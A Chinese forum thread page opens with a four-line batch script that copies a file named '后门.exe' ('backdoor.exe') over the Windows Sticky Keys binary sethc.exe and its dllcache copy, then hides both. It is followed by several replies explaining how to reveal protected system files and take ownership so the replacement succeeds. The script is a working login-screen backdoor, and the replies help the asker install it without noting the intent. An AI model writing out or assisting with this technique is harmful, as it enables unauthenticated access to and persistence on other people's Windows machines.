@copy 后门.exe c:\windows\system32\sethc.exe
@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
@attrib c:\windows\system32\sethc.exe +h
@attrib c:\windows\system32\dllcache\sethc.exe +h
Re: 跪求大神给我解说一下原因，谢谢了。
sethc.exe 是系统文件，默认在 C:\Windows\System32 目录下。你在文件夹选项里只勾选了“显示所有文件”，但可能没取消“隐藏受保护的操作系统文件”。需要把这个勾也去掉，才能看到 sethc.exe。另外，直接替换系统文件通常需要管理员权限，并且可能被系统保护阻止。建议先确认文件位置和权限再操作。Re: 跪求大神给我解说一下原因，谢谢了。
sethc.exe 是系统文件，默认情况下就算勾选了“显示所有文件”也看不到，因为 Windows 会隐藏受保护的操作系统文件。你需要额外操作：在文件夹选项里，取消勾选“隐藏受保护的操作系统文件（推荐）”，然后确定，再进 C:\Windows\System32 就能找到它了。注意改完记得把选项恢复回去，不然容易误删系统文件。替换前最好备份一下原文件，祝顺利。Re: 跪求大神给我解说一下原因，谢谢了。
sethc.exe 默认放在 `C:\Windows\System32` 文件夹里，但它是受保护的操作系统文件，光勾选“显示所有文件”是看不到的。你需要额外取消“隐藏受保护的操作系统文件（推荐）”这个选项（在文件夹选项的“查看”标签页里），然后刷新一下，就能在 System32 目录下找到它了。不过要替换它之前记得先获取所有权和完全控制权限，不然会提示无法替换。操作前做好备份，安全第一。
页:
1
[2]